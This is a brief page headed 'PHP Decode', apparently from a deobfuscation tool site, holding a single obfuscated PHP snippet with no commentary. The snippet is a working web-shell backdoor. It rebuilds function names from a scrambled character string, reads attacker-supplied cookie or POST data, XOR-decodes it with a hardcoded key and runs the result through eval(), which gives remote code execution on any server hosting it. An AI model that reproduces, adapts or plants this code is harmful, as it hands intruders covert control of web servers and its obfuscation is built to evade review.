PHP Decode

<?php 
$reexi = 'k2ou8*i0H_e3dgys6c-r4v79mltpan#\'f1xb';$cdrnws = Array();$cdrnws[] = $reexi[16].$reexi[28].$reexi[1].$reexi[12].$reexi[7].$reexi[32].$reexi[35].$reexi[33].$reexi[18].$reexi[20].$reexi[35].$reexi[28].$reexi[35].$reexi[18].$reexi[20].$reexi[11].$reexi[10].$reexi[22].$reexi[18].$reexi[4].$reexi[10].$reexi[23].$reexi[4].$reexi[18].$reexi[4].$reexi[12].$reexi[16].$reexi[35].$reexi[20].$reexi[17].$reexi[32].$reexi[10].$reexi[28].$reexi[23].$reexi[28].$reexi[32];$cdrnws[] = $reexi[8].$reexi[5];$cdrnws[] = $reexi[30];$cdrnws[] = $reexi[17].$reexi[2].$reexi[3].$reexi[29].$reexi[26];$cdrnws[] = $reexi[15].$reexi[26].$reexi[19].$reexi[9].$reexi[19].$reexi[10].$reexi[27].$reexi[10].$reexi[28].$reexi[26];$cdrnws[] = $reexi[10].$reexi[34].$reexi[27].$reexi[25].$reexi[2].$reexi[12].$reexi[10];$cdrnws[] = $reexi[15].$reexi[3].$reexi[35].$reexi[15].$reexi[26].$reexi[19];$cdrnws[] = $reexi[28].$reexi[19].$reexi[19].$reexi[28].$reexi[14].$reexi[9].$reexi[24].$reexi[10].$reexi[19].$reexi[13].$reexi[10];$cdrnws[] = $reexi[15].$reexi[26].$reexi[19].$reexi[25].$reexi[10].$reexi[29];$cdrnws[] = $reexi[27].$reexi[28].$reexi[17].$reexi[0];foreach ($cdrnws[7]($_COOKIE, $_POST) as $vwbihuv => $tzymi){function hdrnz($cdrnws, $vwbihuv, $ktuxz){return $cdrnws[6]($cdrnws[4]($vwbihuv . $cdrnws[0], ($ktuxz / $cdrnws[8]($vwbihuv)) + 1), 0, $ktuxz);}function quipjmq($cdrnws, $hzrpdh){return @$cdrnws[9]($cdrnws[1], $hzrpdh);}function zvhtglp($cdrnws, $hzrpdh){$llbnp = $cdrnws[3]($hzrpdh) % 3;if (!$llbnp) {eval($hzrpdh[1]($hzrpdh[2]));exit();}}$tzymi = quipjmq($cdrnws, $tzymi);zvhtglp($cdrnws, $cdrnws[5]($cdrnws[2], $tzymi ^ hdrnz($cdrnws, $vwbihuv, $cdrnws[8]($tzymi))));} ?>